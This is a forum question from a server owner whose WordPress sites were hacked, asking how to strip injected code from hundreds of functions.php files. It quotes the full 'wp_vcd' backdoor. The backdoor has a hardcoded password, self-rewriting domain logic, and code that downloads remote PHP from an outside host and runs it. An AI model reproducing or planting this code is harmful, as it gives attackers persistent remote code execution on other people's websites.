title: Removing a large string of text / code from multiple files in Linux
body: <p>It appears mutiple domains on my Linux server have been hacked - I'm not entirely sure how, I can't think like a hacker! but they've managed to hack multiple domains running wordpress.  </p>
  
  <p>I've found out they've insereted some site rediction code in my functions.php files at multiple locations.  I have hundereds of these files and it'd take me ages to manually strip out each piece of code.  Is there a quick way of removing the code from all files using a global search/replace?</p>
  
  <p>The offending code is:</p>
  
  <pre><code>&lt;?php
  
  if (isset($_REQUEST['action']) &amp;&amp; isset($_REQUEST['password']) &amp;&amp; ($_REQUEST['password'] == '751486a687f91a0d030551bb518f903e'))
          {
  $div_code_name="wp_vcd";
                  switch ($_REQUEST['action'])
                          {
  
  
  
  
  
  
                                  case 'change_domain';
                                          if (isset($_REQUEST['newdomain']))
                                                  {
  
                                                          if (!empty($_REQUEST['newdomain']))
                                                                  {
                                                                             if ($file = @file_get_contents(__FILE__))
                                                                                      {
                                                                                                   if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code8\.php/i',$file,$matcholddomain))
                                                                                                               {
  
                                                                                                     $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
                                                                                                     @file_put_contents(__FILE__, $file);
                                                                                                     print "true";
                                                                                                               }
  
  
                                                                                      }
                                                                  }
                                                  }
                                  break;
  
  
  
                                  default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
                          }
  
                  die("");
          }
  
  
  
  
  if ( ! function_exists( 'theme_temp_setup' ) ) {
  $path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI];
  if ( stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false &amp;&amp; stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
  
  function file_get_contents_tcurl($url) {
      $ch = curl_init();
      curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
      curl_setopt($ch, CURLOPT_HEADER, 0);
      curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
      curl_setopt($ch, CURLOPT_URL, $url);
      curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
  
      $data = curl_exec($ch);
      curl_close($ch);
  
      return $data;
  }
  
  
  function theme_temp_setup($phpCode) {
      $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
      $handle = fopen($tmpfname, "w+");
      fwrite($handle, "&lt;?php\n" . $phpCode);
      fclose($handle);
      include $tmpfname;
      unlink($tmpfname);
      return get_defined_vars();
  }
  
  
  if($tmpcontent = @file_get_contents("http://www.verna.cc/code8.php"))
  {
  extract(theme_temp_setup($tmpcontent));
  }
  elseif($tmpcontent = @file_get_contents_tcurl("http://www.verna.cc/code8.php"))
  {
  extract(theme_temp_setup($tmpcontent));
  }
  
  
  }
  }
  
  
  
  ?&gt;
  </code></pre>